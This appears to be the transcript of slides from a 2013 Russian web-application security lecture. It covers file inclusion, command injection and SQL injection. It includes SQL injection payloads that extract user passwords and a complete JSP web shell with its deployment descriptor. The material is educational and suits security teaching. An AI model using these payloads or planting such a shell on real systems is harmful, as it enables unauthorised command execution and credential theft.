Безопасность интернет-приложений осень 2013 лекция 3

23

Upload: technopark

Post on 15-Jun-2015

137 views

Category:

Education


0 download

TRANSCRIPT

Page 1: Безопасность интернет-приложений осень 2013 лекция 3
Page 2: Безопасность интернет-приложений осень 2013 лекция 3

2

Гипотеза

Проверка

Цель достигнута

да

нет

Page 3: Безопасность интернет-приложений осень 2013 лекция 3

3

GET/POST – параметры

Cookies

Headers

File uploads

External sources

Page 4: Безопасность интернет-приложений осень 2013 лекция 3

4

- LFI/RFI- Command injection- SQL Injection- Загрузка произвольного файла

Page 5: Безопасность интернет-приложений осень 2013 лекция 3

5

http://target.com?getfile=valid

http://target.com?getfile=invalid

…Name = query;Print(LoadFile(Name));…

Page 6: Безопасность интернет-приложений осень 2013 лекция 3

6

http://target.com?getfile=index

Page 7: Безопасность интернет-приложений осень 2013 лекция 3

7

http://target.com?getfile=index

http://target.com?getfile=target

Page 8: Безопасность интернет-приложений осень 2013 лекция 3

8

…Name = query + “.txt”;Print(LoadFile(Name));…

Page 9: Безопасность интернет-приложений осень 2013 лекция 3

9

…Name = query + “.txt”;Print(LoadFile(Name));…

Page 10: Безопасность интернет-приложений осень 2013 лекция 3

10

…Param = query;System(“ping –c 1 ”+param);…

Page 11: Безопасность интернет-приложений осень 2013 лекция 3

11

…Param = query;System(“ping –c 1 ”+param);…

Page 12: Безопасность интернет-приложений осень 2013 лекция 3

12

…Param = query;System(“ping –c 1 ”+param);…

Page 13: Безопасность интернет-приложений осень 2013 лекция 3

13

…Q = “select username from users where id=“ + req_id;print(db_query(Q));…

Detect:‘ and 1=1 / ‘ and 1=0‘ and benchmark (9999999,md5(1))

Exploit:‘ union select 1,2,3,4,5 from table2 – comment out

http://target.com/?id=-1 union select password from users -- c

select username from users where id=-1 union select password from users -- c

Page 14: Безопасность интернет-приложений осень 2013 лекция 3

14

Сканирование:

Page 15: Безопасность интернет-приложений осень 2013 лекция 3

15

Идентификация:

Page 16: Безопасность интернет-приложений осень 2013 лекция 3

16

Уязвимость:

Page 17: Безопасность интернет-приложений осень 2013 лекция 3

17

Уязвимость:

Page 18: Безопасность интернет-приложений осень 2013 лекция 3

18

Эксплуатация:

Page 19: Безопасность интернет-приложений осень 2013 лекция 3

19

cmd.jsp:

<%@ page import="java.util.*,java.io.*"%><%%><HTML><BODY>Commands with JSP<FORM METHOD="GET" NAME="myform" ACTION=""><INPUT TYPE="text" NAME="cmd"><INPUT TYPE="submit" VALUE="Send"></FORM><pre><%if (request.getParameter("cmd") != null) {out.println("Command: " + request.getParameter("cmd") + "<BR>");Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));OutputStream os = p.getOutputStream();InputStream in = p.getInputStream();DataInputStream dis = new DataInputStream(in);String disr = dis.readLine();while ( disr != null ) {out.println(disr);disr = dis.readLine();}}%></pre></BODY></HTML>

Page 20: Безопасность интернет-приложений осень 2013 лекция 3

20

WEB-INF/web.xml:

<?xml version="1.0" ?><web-app xmlns="http://java.sun.com/xml/ns/j2ee"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://java.sun.com/xml/ns/j2eehttp://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"version="2.4"><servlet><servlet-name>Command</servlet-name><jsp-file>/cmd.jsp</jsp-file></servlet></web-app>

Page 21: Безопасность интернет-приложений осень 2013 лекция 3

21

Эксплуатация:

Page 22: Безопасность интернет-приложений осень 2013 лекция 3

22

Эксплуатация:

Page 23: Безопасность интернет-приложений осень 2013 лекция 3

23

Результат: